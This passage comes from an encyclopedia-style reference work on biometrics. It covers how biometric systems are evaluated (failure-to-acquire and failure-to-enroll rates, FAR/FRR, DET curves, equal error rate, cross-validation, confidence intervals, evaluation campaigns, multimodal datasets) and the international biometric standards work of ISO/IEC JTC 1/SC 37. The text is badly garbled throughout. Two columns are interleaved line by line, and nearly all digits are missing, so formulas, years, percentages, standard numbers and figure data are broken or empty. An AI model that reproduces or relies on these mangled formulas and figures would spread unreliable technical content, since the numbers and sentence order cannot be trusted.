Acquire (FTA) are few examples of quantifiable parameters
ity, etc.
related to biometric usability testing; other measures may
The goal of an evaluation is specific to the particu- be test specific or be of qualitative rather than quantitative
lar tested system and its intended application. Depending character.
on the defined testing protocol, the parameters considered
Failure to Acquire (FTA) describes the percentage of the
to be of prime importance in a given evaluation are var-
target population that is unable to successfully donate
ied over a permissible range, with other system parame-
their biometric data of a particular modality, using
ters kept constant. Frequently encountered types of testing
the tested system. The reasons for this inability can
protocols include:
be related to the system itself for example, a camera
Conformance Testing to Biometrics Standards relates to the installed at an appropriate height to capture an adults
testing of a particular system for its conformance face will likely fail in capturing the face of a child or of
with the standards or recommendations (e.g., BioAPI, a person on a wheelchair. Strabismus may cause FTA
in some two-eye iris capture systems. Another typi- system is deployed in a real application. For instance, an
cal example where a FTA can occur is systems that optical fingerprint scanner may produce images of a com-
perform quality checks on acquired signals. If signals promised quality if a strong light source is present during
collected from a particular user are rejected as a result the fingerprint imaging.
of their consistently insufficient quality, then FTA is In quantitative terms, a signal acquisition system can
recorded. FTA typically relates to the usability of a sys- be evaluated directly or comparatively. A direct method
B
tem by users who are already enrolled in the systems involves collection of one or more quality measures [].
operating database. FTA for genuine users is some- An indirect performance estimation involves a comparison
times counted as a false rejection (See Classification of the classification error rates obtained using the signals
performance measures). recorded in nominal, and extreme acquisition conditions.
Failure to Enroll (FTE) denotes a percentage of target sys- It is desirable that the observed difference in the error rates
tems users unable to enroll into the biometric database be minimal. Note that the absolute values of observed error
used by the tested biometric system. A person can be rates are of secondary interest here.
unable to enroll because of his or her lack or deficiency
of a particular biometric trait, or because of an inade-
quate interface of the biometric system. For instance, it Quantitative Evaluation of Classication
is generally reported that a non-negligible percentage Accuracy
of the worlds population do not possess fingerprints
Classication Performance Measures
that could be reliably recognized by automatic finger-
A typical set of performance measures of a biometric sys-
print recognition systems (however, recent results have
tem is similar to that of any classification system. A bio-
shown that this assertion may be dubious, and that
metric identity verification system (user authentication)
systematic failures should not be attributed to person-
operates and is evaluated like a dichotomizer (a two-
specific characteristics []). Some D face recognition
class classifier). In this case, a confusion matrix can be
systems can fail to create a user template because of
constructed from test results at a certain decision thresh-
facial hair, resulting in a FTE.
old , with true classes in rows and classifier output classes
The limited amount of research performed on usabil- as columns. Diagonal entries are correct recognitions, off-
ity and human factors in biometrics explains why man diagonal entries are errors. Several performance measures
machine interaction problems are often conflated with are defined on the confusion matrix, and the common ones
other issues such as classification accuracy. Scenario and include the following.
operation evaluations should include records of the details
Total Error Rate (TER) The simplest way to assess a clas-
of FTA and FTE events (e.g., subject wears glasses or
sifiers performance is to count the number of clas-
camera had to be moved down on the tripod) in order to
sification errors it commits over a specific dataset.
apportion errors between user-related and system-related
The TER is estimated for a particular decision thresh-
issues.
old , which divides the continuously-valued classi-
fier output (scores) into two disjoint ranges corre-
Evaluation of Signal Acquisition sponding to binary accept and reject decisions. It is
A commercial biometric signal acquisition device is tested obtained by computing the sum of off-diagonal ele-
by the manufacturer before it is released in the market. It ments in the confusion matrix divided by the sum of
comes with a set of technical specifications that describe its all elements. TER is also applicable to identification
performance in the nominal operating conditions. How- problems, where it is sometimes called average error.
ever, if a custom acquisition device is used, or if the device Type I/II errors, False Accept Rate (FAR), False Reject Rate
is anticipated to operate in conditions departing from (FRR) Set in the framework of statistical hypothesis
nominal, its performance must be properly evaluated. testing, a classifier can commit two types of errors
An evaluation of a signal acquisition device is centered (Type I and Type II). In the case of biometrics, an
around the assessment of the quality of recorded biometric individual can be or not be who he claims he is (authen-
signals across a given range of recording conditions. The tication), or who the system identifies him to be (iden-
specific conditions one can be interested in depend on the tification). Consequently, Type I/II errors are referred
particular system and biometric modality in question, and to as False Accept/False Reject in biometric identity
must reflect the expected variations of acquisition condi- verification. The estimates of Type I/II errors across the
tions that are likely to be encountered once the evaluated target population are referred to as False Accept Rate
(FAR) and False Reject Rate (FRR) and calculated as a plot of the percentage of correct accept decisions
FAR = Nnimp
FA
, and FRR = Nngen
FR
, where Nimp is the against the FAR. The dependence of FRR and FAR on
size of the population of imposters, Ngen is the size of the decision threshold is implicit each point on the
the population of genuine claims, nFA is the number of DET/ROC curve corresponds to one particular value
falsely accepted imposter claims, and nFR is the num- of , but it is not possible to recover this value from
ber of falsely rejected genuine claims. Values of FAR the plot alone. A comparison of the performance of
and FRR plotted as an explicit function of the corre- two competing systems using DET curves is shown
sponding threshold are sometimes used to visually in Fig. (b).
report a classifiers performance. An example of such Equal Error Rate (EER) is the reported error rate of the
visualization is shown in Fig. (a). biometric classifier for a decision threshold chosen
Operating Point (OP) FAR and FRR computed for the same so that EER = FAR() = FRR().
decision threshold define the operating point of a clas- Half-Total Error Rate (HTER) for a given operating point is
FAR()+FRR()
sifier. A particular operating point the value of FRR computed as HTER() = , and is often
achieved for a fixed FAR is often of special interest if used in order to level out the effect of unbalanced eval-
the rate of the false accept errors must be kept below a uation data sets. A plot of HTER as an explicit function
specified percentage. of the decision threshold is referred to as the Expected
DET/ROC curve There is a tradeoff between the number of Performance Curve (EPC) []. An example of the EPC
rejected and accepted identity claims. The easiest way curve is shown in Fig. (a).
of eliminating false rejects is to accept every claim, and Cost-Based Evaluation acknowledges the fact that in par-
conversely, in order to avoid false accepts reject each ticular biometric applications, the cost of committing
claim. These two radical situations, defined by FAR = a Type I error may differ from the cost of committing
and FRR = , define the extreme operating points of a a Type II error. In this case, one may be interested in
classifier. The functional relationship between FAR and the expected cost of misclassifications, rather than in
FRR is a commonly used method of evaluating the per- the error rates themselves. If the cost of a misclassifica-
formance of a biometric system from the classification tion is constant and can be expressed as CFR for a false
perspective. The visual representation of this relation- rejection and CFA for a false acceptance, then all error
ship, where FAR is plotted as a function of FRR, usually values mentioned above (i.e., TER, FRR, FAR, etc.) can
in log-log coordinates, is referred to as the Detection be converted into respective estimated cost (total cost,
Error Tradeoff (DET) curve. An equivalent represen- cost of false rejects, etc.) by multiplying them by the
tation, the Receiver Operating Characteristic (ROC), is corresponding cost constants.
100
1 System 1
0.9 ERA System 2
0.8 ERB
HTER(EPC)
0.7 101
0.6
Error rate
FRR
0.5
0.4
102
0.3
0.2
0.1
0 103
0 0.2 0.4 0.6 0.8 1 105 104 103 102 101 100
a Threshold b FAR
Biometric Systems Evaluation. Fig. Graphical representation of classication performance evaluation: (a) plot of class errors FAR
and FRR against the threshold , EPC curve, face verication, XMVTS database, (b) comparison of two speaker verication systems
using DET curves, XMVTS database. System outperforms System across all operating points
The performance measures mentioned above can be sets and evaluated using the remaining held-out set. If the
applied to a biometric identification system if the users sets are swapped and the system is trained using the set
in the database are not ranked during classification, i.e., that was previously used for validation, and validated on
only the top matching identity is returned. If the classifier the set previously used for training, then the validation
returns a ranked list, either the average error is computed procedure is referred to as cross-validation. If the sam-
over the entire dataset, or the method of Rank-N perfor- ple is randomly split n times into disjoint training and
B
mance measure is applied. The latter technique is a restric- evaluation sets of fixed proportion, then the procedure is
tion of the evaluation measure (e.g., type I error) to only the referred to as n-fold cross-validation. The extreme case of
top-N ranked outputs. This method is most useful in oper- cross-validation, used when available sample is small, is the
ational settings (e.g., watchlist scenario), where a human leave-one-out, or jacknife approach at each split only one
operator holds the ultimate decision and the classifier is evaluation sample is held out. The final evaluation measure
used to narrow down the candidate list to a manageable is computed by averaging the performance yield at each
amount, for instance, to the top ten matches. iteration.
The list of reported performance measures extends Biometric system evaluation is often performed using
beyond those mentioned in this section. However, they are fixed testing protocols, which predefine the exact content of
usually linked to a particular biometric modality or system the training and evaluation datasets. In biometric evalua-
architecture []. tion campaigns and competitions, a third data set is often
held out a testing set. The testing dataset simulates the
Evaluation Procedures real data the system may encounter when deployed and is
A biometric system is evaluated in order to estimate its not visible during the training and tuning of the competing
anticipated performance. For the purpose of the evalua- systems. An example of the biometric evaluation protocol
tion, a set of performance measures, relevant in the context is described in [].
of a specific application, is used. In order for the evaluation When designing biometric evaluation protocols, a dis-
results to be predictive of future performance with the tar- tinction between open-set and closed-set evaluations is
get user population, the evaluation procedures must use a made. In the closed-set protocol, the same set of users
representative sample of this population. If the biometric provide their biometric data for system training and for
system requires no training, then the entire available sam- performance validation. In the open-set protocol, the sys-
ple can be used as the evaluation set. If training is necessary, tem is tested using data only from users unknown during
which is usually the case, the sample is divided into subsets. training and validation.
This procedure is followed in order to avoid so-called clas-
sifier overfitting, which often results in overly optimistic
performance on the training set and poor generalization Signicance of Evaluation Results
capacity and compromised performance on unseen data. Estimating bounds on the true error rate given the empir-
To avoid overfitting, the available sample can be split ical error rate observed in testing on a held-out dataset
in several ways, but the main idea always remains the is crucial in biometric applications, as the difference in
same, as illustrated in Fig. . The sample is divided into population sizes between test populations and deployment
disjoint sets. First, the system is trained using one of the populations can span several orders of magnitude.
Tune
TR
Full Final
Split EV Train Evaluate Error Test performance
dataset ok? measure
TE
TR EV TE
Biometric Systems Evaluation. Fig. Flowchart of typical evaluation procedure

This problem is closely linked to that of comparing resampling approach. The advantage of this method is that
the performance of two biometric authentication systems: it does take the inter-subject differences in error rates into
indeed, if the confidence intervals for the two systems are account, and in its resampling version is likely to yield bet-
largely overlapping, it will not be possible to say that one is ter estimates than the simple binomial confidence interval,
statistically significantly better than the other. or than the rule of [].
While classifier evaluation can be put in a classical The three-parameters beta-binomial distribution is a
hypothesis testing framework (e.g., h = Both classifiers mixture model (a beta distribution mixture of binomi-
yield the same accuracy), the main specificities of bio- als) that can account for intra-subject correlations and
metric evaluation campaigns with respect to other fields inter-subject error rate differences []. Subject-specific
where statistical significance is tested (e.g., clinical tri- error rates are represented as draws from a beta distri-
als) are the shapes of the distributions of interest, the bution depending on two parameters whose values can
extreme proportions that can be encountered in practice, be learned by a NewtonRaphson optimization. The beta-
and subject-specific effects. binomial distribution is commonly used in biostatistics,
Classical statistical assumptions about the distribu- for analyzing clustered or repeated data.
tions of the quantities of interest, for instance the scores Confidence intervals can also be computed and graph-
such as Gaussianity and homoscedasticity, are often vio- ically represented in operational settings using confidence
lated severely in biometric evaluations. Also of importance, bands. Confidence bands take into account within-user
the proportions of errors may be very low for some bio- and between-user correlations to compute confidence
metric systems, for instance or less for iris false accept intervals over all possible threshold settings, which can
rate. Therefore, care must be taken in selecting a method be plotted on the ROC curves. Confidence intervals, esti-
for computation of the confidence intervals, and robust mation can also be graphically approached using the EPC
procedures must be used. curve.
Studies of biometric databases with populations in the
high hundreds of subjects have confirmed that within-
subject correlations of biometric data samples can differ
Applications
significantly between subjects. This is linked to the zoo
Evaluations of biometric systems are performed wherever
or menagerie effect [, ], where some users are particu-
a possibly objective and comprehensive prediction of the
larly susceptible to be impersonated, some are particularly
systems performance or comparison with competing sys-
good impersonators, and others are particularly resistant
tems is necessary. Naturally, every designer of biometric
to impersonation. These effects have been observed in sev-
systems components performs certain sets of evaluations
eral modalities (e.g., speech, fingerprint, signature, face,
on their own.
and iris). Thus, sample selection and size can have a sig-
An important application of biometric systems test-
nificant impact on the evaluation results.
ing are large-scale evaluation campaigns. They include
Consequently, in addition to the simple methods for
algorithm testing campaigns, as well as vendor technol-
confidence interval estimation and hypothesis testing,
ogy evaluations. These events grew to occupy a prominent
which will not be reviewed here, several specific heuristics
place on the biometric calendar, in particular:
and methods have been proposed and developed for bio-
metric classifier evaluation, often derived from statistical Fingerprint Verification Competition After four editions in
procedures developed in other fields. , the FVC evolved to be an ongoing evalu-
The simplest heuristic, known as the rule of , states ation campaign of fingerprint verification algorithms
that at % confidence level, the true error rate for a given []. The FVC results are a de facto benchmark of
evaluation is % of the mean error rate obtained in fingerprint matching algorithms today, and the FVC
the evaluation. Furthermore, at least errors must be datasets are probably the most frequently used bench-
observed for this to be valid. This heuristic assumes the marking datasets for fingerprints.
independence of trials, and can therefore be overly opti- Fingerprint Vendor Technology Evaluation Organized by
mistic with respect to the population size needed to achieve the NIST, the Fingerprint Vendor Technology Evalu-
a given confidence interval []. ation is an ongoing contest of commercial fingerprint
Confidence intervals over FAR and FRR values can be systems.
obtained based on simple variance estimation of pooled NIST Speaker Recognition Evaluation Also organized by
and subject-specific error rates, either assuming Gaussian- the NIST, the SRE campaigns started in and
ity of the distribution of subject error rates, or using a are now held on alternate years []. They have been
Biometric Systems Evaluation. Table Multimodal databases for biometric evaluation. N is the number of subjects, and S is the
number of sessions. Modalities are abbreviated to Fa for D face; Fa for D face; FP for ngerprint; Ha for hand; HW for
handwriting; I for Iris; Si for signature; Sp for speech. (Adapted from [])
Name N S Modalities Site
BANCA Fa, Sp www.ee.surrey.ac.uk/CVSSP/banca/
BIOMET Fa, Fa, FP, Ha, Si biometrics.it-sudparis.eu/ B
BioSec Extended Fa, FP, I, Sp atvs.ii.uam.es/databases.jsp
BioSecure DS Fa, Sp www.biosecure.info
BioSecure DS Fa, FP, Ha, I, Si, Sp
BioSecure DS Fa, FP, Si, Sp
BiosecurID Fa, FP, Ha, HW, I, Si, Sp atvs.ii.uam.es/databases.jsp
BT-DAVID Fa, Sp galilee.swan.ac.uk/
FRGC var. Fa, Fa www.frvt.org/FRGC/
MyIDEA > Fa, FP, Ha, HW, Si, Sp diuf.unifr.ch/diva/biometrics/MyIdea/
M Fa, FP, Sp www.se.cuhk.edu.hk/hccl/MCorpus/
MCYT Fp, Si atvs.ii.uam.es/databases.jsp
XMVTS Fa, Sp www.ee.surrey.ac.uk/CVSSP/xmvtsdb/
steadily growing since their inception, both in num- as possible, reproduce and simulate the real deployment
ber of participants ( sites in ) and size and conditions of the tested biometric system. Meeting this
complexity of the dataset ( different combinations of constraint always requires the collected database/user pool
training/testing sets in ). to be representative of the target population, otherwise
the evaluation results are not generalizable and of little
A large amount of other evaluation campaigns have
practical meaning.
been held, either in form of competitions at academic
A number of problems related to the proper pro-
conferences or organized by government agencies. This
tocol/database design remain insufficiently understood.
holds for all major modalities, including fingerprint, face
These include:
(Face Recognition Vendor Test, Face Recognition Grand
Challenge), iris (Iris Challenge Evaluation, NIJ-TSA Iris Cross-Ethnicity validity There are limited insights on the
Recognition Study), speech, signature (Signature Verifica- validity of biometric evaluations across ethnic groups.
tion Competition, BioSecure Signature Evaluation Cam- Aging and Time Lapse The impact of user aging on the per-
paign), as well as for multimodal evaluations (Biosecure formance of biometric systems has recently received an
Multimodal Evaluation Campaign). increased amount of attention.
The general tendency is for evaluation datasets to Impact of Synthetic Impostures In some modalities (notably
include more subjects and to become more challenging fingerprint, speech, and signature), synthesis of impos-
each year. As time passes, it is also generally reported that tor data decreases recognition performance signifi-
algorithms improve over past datasets, in comparison with cantly compared to random impostures. More research
their predecessors []. on the topic is needed.
Datasets Recommended Reading

Reference datasets are useful to compare the performance . International Civil Aviation Organization, ICAO Doc ,
of novel algorithms to previously published work. Table Machine Readable Travel Documents, Part , Machine Read-
introduces a small selection of available databases that able Official Travel Documents, Volume , Specifications for
include more than one biometric modality. Electronically Enabled MRtds with Biometric Identification
Capability, third edition, . Montreal: International Civil
Aviation Organization
Open Problems and Future Directions . Phillips PJ, Martin A, Wilson CL, Przybocki M () An
The biggest challenges in designing a meaningful biomet- introduction to evaluating biometric systems. Computer ():

ric evaluation campaign include appropriate design of the
. ISO/IEC - () Information technology Biometric
evaluation protocol, and collection of a suitable testing performance testing and reporting Part : testing method-
database. In fact, these two problems are closely linked. ologies for technology and scenario evaluation. International
A properly defined evaluation protocol must, as closely Standards Organisation, Geneva
B Biometric Technologies and Security International Biometric Standards Development Activities
. ISO () Ergonomic requirements for office work with

visual display terminals (VDTs) Part : Guidance on usability Biometric Technologies and
. Kukula EP, Proctor RW () Human-biometric sensor Security International Biometric
interaction : impact of training on biometric system and user
performance. In: Human interface and the management of infor- Standards Development
mation. Information and interaction, Springer LNCS, , Activities
. Hicklin A, Watson C, Ulery B () The myth of goats: how Fernando L. Podio
many people have fingerprints that are hard to match? NISTIR ITL Computer Security Division/Systems and Emerging
, National Institute of Standards and Technology, Gaithers-
burg, USA
Technologies Security Research Group, National Institute
. Richiardi J, Kryszczuk K, Drygajlo A () Quality mea- of Standards and Technology (NIST), Gaithersburg,
sures in unimodal and multimodal biometric verification. MD, USA
In: Proceedings of the th European signal processing confer-
ence (EUSIPCO), Poznan, Poland
. Bengio S, Marithoz J, Keller M () The expected perfor- Related Concepts
mance curve. In: International conference on machine learning,
Authentication Standards; ID Management Standards
ICML, Workshop on ROC analysis in machine learning, http://
users.dsic.upv.es/~flip/ROCML/papers.html Cyber-Security Standards
. Gamassi M, Lazzaroni M, Misino M, Piuri V, Sana D, Scotti F
() Accuracy and performance of biometric systems. In: Pro- Denition
ceedings of IMTC Instrumentation and measurement
For any given technology, industry standards assure the
technology conference, Como, Italy
. Bailly-Baillire E, Bengio S, Bimbot F, Hamouz M, Kittler J, availability in the marketplace of multiple sources for
Marithoz J, Matas J, Messer K, Popovici V, Pore F, Ruiz B, compatible products. In addition to benefiting end users,
Thiran J-P () The BANCA database and evaluation proto- system developers, and private industry, standards also
col. In: Kittler J, Nixon MS, (eds) Proceedings of th Interna- benefit other customers such as the standards bodies that
tional conference on audio- and video-based biometric person
are developing related standards.
authentication (AVBPA, ), vol LNCS , Guildford, UK,
pp
. Doddington G, Liggett W, Martin A, Przybocki M, Reynolds DA Background
() Sheep, goats, lambs and wolves: a statistical analysis of Biometric technologies establish or verify the personal
speaker performance in the NIST speaker recognition eval-
identity of previously enrolled individuals based on bio-
uation. In: Proceedings of the th International Conference on
spoken language processing (ICSLP), Sydney, Australia
logical or behavioural characteristics (i.e., ascertaining
. Yager N, Dunstone T () The biometric menagerie. IEEE what you are). Examples of biological characteristics are
Trans Pattern Anal Mach Intell (): hand, finger, facial, and iris. Behavioural characteristics
. Dass SC, Zhu Y, Jain AK () Validating a biometric authen- are traits that are learned or acquired, such as dynamic
tication system: sample size requirements. IEEE Trans Pattern signature verification and keystroke dynamics. Using bio-
Anal Mach Intell ():
metric technologies for identifying human beings offers
. Mansfield AJ, Wayman JL () Best practices in testing
and reporting performance of biometric devices. NPL Report
some unique advantages, as they are the only tech-
CMSC /, Centre for Mathematics and Scientific Computing, nologies that can really identify an individual or ver-
National Physical Laboratory, Teddington, Middlesex, UK ify an individuals identity. Other technologies such as
. Schuckers ME () Using the beta-binomial distribution to tokens (e.g., what you have) can be lost or stolen. Pass-
assess performance of a biometric identification device. Int J words (e.g., what you know) can be forgotten, shared, or
Image Graph ():
observed by another individual. Used alone, or together
. FVC-onGoing: on-line evaluation of fingerprint recognition
algorithms. https://biolab.csr.unibo.it/FVCOnGoing/UI/Form/
with other authentication technologies such as tokens, bio-
Home.aspx. Accessed st May metric technologies can provide higher degrees of security
. NIST Information Technology Laboratory, Information than other technologies employed alone and can also be
Access Division. Speaker Recognition Evaluation. http://www. used to overcome their weaknesses. For decades, biomet-
itl.nist.gov/iad/mig/tests/sre/. Accessed st May ric technologies were used primarily in law enforcement
. Phillips PJ, Scruggs WT, OToole AJ, Flynn PJ, Bowyer KW,
applications, and they are still a key component of these
Schott CL, Sharpe M () FRVT and ICE Large-
scale results. Technical report NISTIR , National Institute
important applications. Over the past several years, the
of Standards and Technology marketplace for biometric-based applications has widened
. Ortega-Garcia J et al () The Multi-Scenario Multi- significantly; they are now increasingly being used in
Environment BioSecure Multimodal Database (BMDB) IEEE multiple public and private sector applications world-
Trans. Pattern Anal. Mach. Intell. (): wide []. Currently, biometric technologies are found in a
Biometric Technologies and Security International Biometric Standards Development Activities B
number of global government projects for diverse appli- ISO/IEC JTC is the standards development environment
cations such as border, aviation, maritime, transporta- where experts come together to develop worldwide Infor-
tion security, and physical/logical access control. Market mation and Communication Technology (ICT) standards
opportunities for biometrics also include financial insti- for business and consumer applications. Additionally, JTC
tutions (e.g., employee- or customer-based applications), provides the standards approval environment for integrat-
the health-care industry (e.g., service provider security to ing diverse and complex ICT technologies. These standards
B
protect patient privacy, patient delivery verification pro- rely upon the core infrastructure technologies developed
tecting patient and provider), and educational applications by JTC centers of expertise complemented by specica-
(e.g., school lunch programs/online identity verification, tions developed in other organizations.
parent/guardian verification for child release). Consumer
uses are also expected to significantly increase for personal ISO/IEC JTC Subcommittee Biometrics (JTC /SC
security and for convenience in diverse applications such ) was established by JTC in June . JTC/SC
as home automation and security (e.g., home alarm sys- is responsible for the development of a large portfolio of
tems and environmental controls, door locks and access international biometric standards. Since its inception, JTC
control systems), retail (e.g., point-of-purchase authenti- /SC has addressed the standardization of generic bio-
cation at retail locations), and applications in the gam- metric technologies pertaining to human beings to support
ing and hospitality industries. Biometric technologies are interoperability and data interchange among applications
also found in cell phones, mobile computing devices (e.g., and systems. From the subcommittees perspective, generic
laptops, PDS), and portable memory storage [, ]. biometric standards include common file structures, bio-
The deployment of standards-based biometric tech- metric application programming interfaces, biometric
nologies is expected to significantly raise levels of security data-interchange formats, related biometric application
for critical infrastructures, which has not been possible profiles, application of evaluation criteria to biometric
to date with other technologies. Deploying these systems technologies, methodologies for performance testing and
requires a comprehensive set of international, technically reporting, and cross-jurisdictional and societal aspects.
sound standards that meet the customers needs. Biomet- The main JTC /SC goal is the development of interna-
ric standards promote the availability of multiple sources tional standards that support the mass market adoption of
of compatible products in the marketplace. In addition to biometric technologies. Additional goals are that other JTC
benefiting end users, system developers, and the IT indus- subcommittees and ISO/IEC Technical Committees use
try, biometric standards benefit other customers such as these standards by reference within their own standards
the standards committees that are developing related stan- projects and that organizations external to ISO and IEC
dards in support of personal authentication and security (consortia, government institutions, and the private sec-
as well as the end users of these standards. The status of tor) use them as well to specify the use of standards-based
international, voluntary biometric standards, and ongo- solutions for their requirements. Since June , stan-
ing standard development efforts are discussed below. The dards (including amendments, corrigenda, and technical
need for these open, international, voluntary consensus reports) developed by JTC /SC have been published.
biometric standards will continue to grow. ISO maintains a list of these published standards and pro-
vides a description of the content of each standard at its
International Biometric Standards Web site [].
Major efforts associated with the development of inter- JTC /SC has completed first editions of many bio-
national biometric standards are underway under the metric standards. They include biometric application pro-
umbrella of the Joint Technical Committee of Inter- gramming interfaces, biometric data structures to store
national Standards Organization (ISO) and International or transmit any type of biometric data independently of
Electrotechnical Commission (IEC) on Information the biometric modality, biometric data-interchange for-
Technology. JTC s scope is International standardiza- mats for a number of biometric modalities, biometric
tion in the field of Information Technology. Informa- performance testing and reporting methodologies, bio-
tion technology includes the specification, design, and metric sample quality standards, biometric application
development of systems and tools dealing with the cap- profiles and technical reports addressing jurisdictional
ture, representation, processing, security, transfer, inter- and societal considerations for commercial applications.
change, presentation, management, organization, storage Other publications include a biometric tutorial and a tech-
and retrieval of information. According to the JTC Long- nical report on multimodal and other multi-biometric
term Business Plan []: fusion.
Currently the subcommittee is developing additional multipart standard (ISO/IEC ). Several parts of
biometric standards to address technology innovations these multipart standards have been published. WG
and new customers needs. Also, second editions of sev- has also developed a BioAPI Interworking Protocol (BIP)
eral biometric standards are being developed, which (ISO/IEC ), which was a joint development project
add clarifications to the contents of previously published with International Telecommunication Union Study
first editions. In addition to revision projects for the Group Security (ITU-T SG ) []. WG is also
biometric data-interchange formats standards, other bio- developing a conformance testing methodology multipart
metric testing methodology standards, and new biomet- standard for BioAPI and is considering the development
ric technical interfaces, the subcommittee is addressing of advanced biometric interfaces that may be needed for
the standardization of conformance testing methodol- example, for enrollment by a remote station to a cen-
ogy standards for the biometric data-interchange formats tral database; authentication exchanges between a point-
and biometric technical interfaces. Biometric sample qual- of-sale terminal and its related database; interfaces for
ity standards are being developed and jurisdictional and building access; interfaces from border control stations to
societal issues on the use of biometric technology are their underlying database and interfaces needed to support
being addressed, including the development of pictograms, other applications.
icons, and symbols for use within biometric systems; WG is dealing with the standardization of the
the use of biometric technology in commercial identity content, meaning, and representation of biometric data
management applications and processes; and the guid- formats that are specific to a particular biometric technol-
ance on the inclusive design and operation of biometric ogy or technologies. The ISO/IEC multipart stan-
systems. dard ( parts already published) specifies biometric data
The JTC /SC membership currently consists of interchange formats for a number of biometric modalities
countries that participate in the work as voting members. including finger, face, iris, signature/sign times series, hand
In addition, the subcommittee has eight observer coun- geometry, and vascular data. WG has begun development
tries. A number of liaison organizations participate as well. of the second edition of these standards to address tech-
The current list of countries participating and other impor- nology innovations, the inclusion of richer metadata, and
tant public information can be obtained through the JTC new customers needs. The development of revised data
/SC Web site []. interchange formats specified in the published standards
JTC /SC s work is performed by six working groups as well as data formats for three other modalities (signa-
(WGs) that address different aspects of biometric stan- ture/sign processed data, voice and DNA data) is under-
dardization: way. WG is also developing a biometric sample quality
multipart standard (ISO/IEC ) One part has been
WG Harmonized biometric vocabulary
published (Part : Framework) as an international stan-
WG Biometric technical interfaces
dard and two additional parts (Part : Finger Image Data
WG- Biometric data interchange formats
and Part : Face Image Data) have been publsihed as Tech-
WG- Biometric functional architecture and related
nical Reports. The development of conformance testing
profiles
methodology standards for the biometric data-interchange
WG Biometric testing and reporting
formats is also underway. WG ongoing projects include
WG Cross-jurisdictional and societal aspects of bio-
the development of a framework for XML encoding (for
metrics
the future work on XML counterparts for most of the bio-
WG has already specified over harmonized terms and metric data format standards) as well as the development of
definitions. This work is expected to lead to the devel- a level conformance testing methodology (semantic) for
opment of an international standard for a comprehensive one of the biometric data formats (finger minutiae data).
harmonized biometric vocabulary. The development of a new part of the biometric sample
WG is addressing the standardization of all neces- quality standard (iris image) was initiated.
sary interfaces and interactions between biometric com- WG is addressing the standardization of biomet-
ponents and subsystems, including the possible use of ric functional architecture and related profiles that bind
security mechanisms to protect stored data and data trans- together the various biometric-related base standards in
ferred between systems. Representative projects include a manner consistent with functional blocks of operation
a biometric application programming interface (BioAPI) of biometric systems. These profiles identify the perti-
multipart standard (ISO/IEC ) and the develop- nent biometric-related base standards. They also define
ment of a biometric exchange formats framework (CBEFF) the optional fields of the base standards to be used, as
well as how to set the configurable parameters, in order systems (e.g. ingestion, queuing, and hardware optimiza-
to achieve interoperability within a set of predefined con- tion) is not addressed.
straints. Three parts of a multipart standard (ISO/IEC WG is addressing the field of cross-jurisdictional
) are now published: Part : Overview of biometric and societal aspects in the application of international bio-
systems and biometric profiles; Part : Physical access con- metrics standards. Within this context, the scope of work
trol for employees at airports; and Part : Biometric-based includes the support of design and implementation of bio-
B
verification and identification of seafarers. The latter was metric technologies with respect to accessibility, health and
developed in liaison with the International Labour Organi- safety, support of legal requirements, and acknowledge-
zation (ILO) of the United Nations. WG has initiated the ment of cross-jurisdictional and societal considerations
development of two technical reports: Guidance for Bio- pertaining to personal information. A multipart technical
metric Enrolment and Traveller Processes for Biometric report (TR ) covers jurisdictional and societal con-
Recognition in Automated Border Crossing Systems. WG siderations for commercial applications. Part : General
s program of work includes the development of inter- guidance is published. WG is also developing another
national consensus biometric profiles that can support a multipart technical report () on pictograms, icons,
single end user (e.g., ILO) or many end users (e.g., airport and symbols for use with biometric systems. Recently,
authorities) who have collective requirements for biomet- two new projects were initiated: a technical report on
ric interoperability on a local to worldwide basis. Potential the use of biometric technology in commercial identity
areas of additional biometric profile development by WG management applications and processes and a technical
include physical access control for travelers; verification report that is aimed at providing guidance on the inclu-
of customers at points-of-sale; and physical/logical access sive design and operation of biometric systems. Needs for
control for employees in manufacturing and service sec- additional projects in the WG area of work are being
tors such as health care, education, transportation, finance, considered.
government, etc. Overall, JTC /SC is currently responsible for the
WG is handling the standardization of testing and development and maintenance of over projects. The
reporting methodologies and metrics that cover biomet- published international standards can be obtained (for a
ric technologies, systems and components. Three parts of fee) through the ISO Web site [] and individual national
a biometric performance testing and reporting multipart body (country) Web sites. As discussed below, other JTC
standard (ISO/IEC ) have been published: Part : subcommittees are involved in the development of biomet-
Principles and framework; Part : Testing methodologies ric standards for certain aspects of standardization within
for technology and scenario evaluation; and Part : Inter- their scope of work. JTC Subcommittee Cards and
operability performance testing. Part : Modality-specific personal identification, specifies the application of biomet-
testing, has been published as a technical report. Addi- ric technologies to cards and personal identification and
tional parts of this multipart standard are under develop- JTC Subcommittee IT security techniques is cur-
ment. WG is also progressing: a multipart standard to rently documenting the use of biometrics in some secu-
specify machine readable test data for biometric testing rity standards. Other international organizations currently
and reporting; a technical report that will provide guidance involved in some aspects of biometric standardization or
for specifying performance requirements to meet security the use of biometric standards for their own standards,
and usability needs in applications using biometrics, and specifications, or requirements include ITU-T and ILO
addressing the characterization and measurement of diffi- mentioned above, the International Civil Aviation Orga-
culty for fingerprint databases for technology evaluation. nization (ICAO), ISO Technical Committee (Financial
WG recognizes the need to identify developments, new Services), the VoiceXML Forum, and the BioAPI Consor-
requirements and technologies that may not be amenable tium (which developed the initial version of the BioAPI
to testing using the current test processes. Such areas may specification). Figure provides an overall scenario of the
include testing of behavioural aspects of biometric tech- international organizations involved in different aspects
nologies relating to so-called behavioural biometrics and of biometric standardization or requirements for the use
behavioural elements of biological biometrics. There is also of biometrics in applications. JTC /SC collaborates
a perceived requirement for a standard or minimally a with a number of these organizations through technical
technical report specific to identification system testing. development teams established by the subcommittee and
The current versions of the ISO/IEC multipart stan- through liaison relationships with the goal of support-
dard treat identification metrics and methodologies, but ing the harmonization of biometric, token, security, and
the full range of considerations specific to identification telecommunication standards.
International biometrics standards

development organizations
ICAO ITU-T
ISO IEC
ILO
TC 68/SC 2 OASIS BioAPI

security consortium
management and ISO/IEC JTC 1 information
general banking technology
operations VoiceXML
forum
SC 17 SC 27
SC 37
cards & personal IT security
biometrics
identification techniques
Biometric Technologies and Security International Biometric Standards Development Activities. Fig.
The technologies addressed by JTC /SC and where JTC /SC is also contributing include secu-
JTC /SC are, for some applications, complementary rity techniques biometric information protection (draft
in nature. JTC /SC is addressing the development standard ISO/IEC ); a framework for access man-
of a standard specifying on-card biometric comparison agement (draft standard ISO/IEC ); a framework
(ISO/IEC ). The standard is developed on the basis for identity management (ISO/IEC ); requirements
of ISO/IEC - (Identification cards Integrated cir- on relative anonymity with identity escrow (ISO/IEC
cuit cards Part : Personal verification through biometric ); privacy framework (ISO/IEC ); privacy ref-
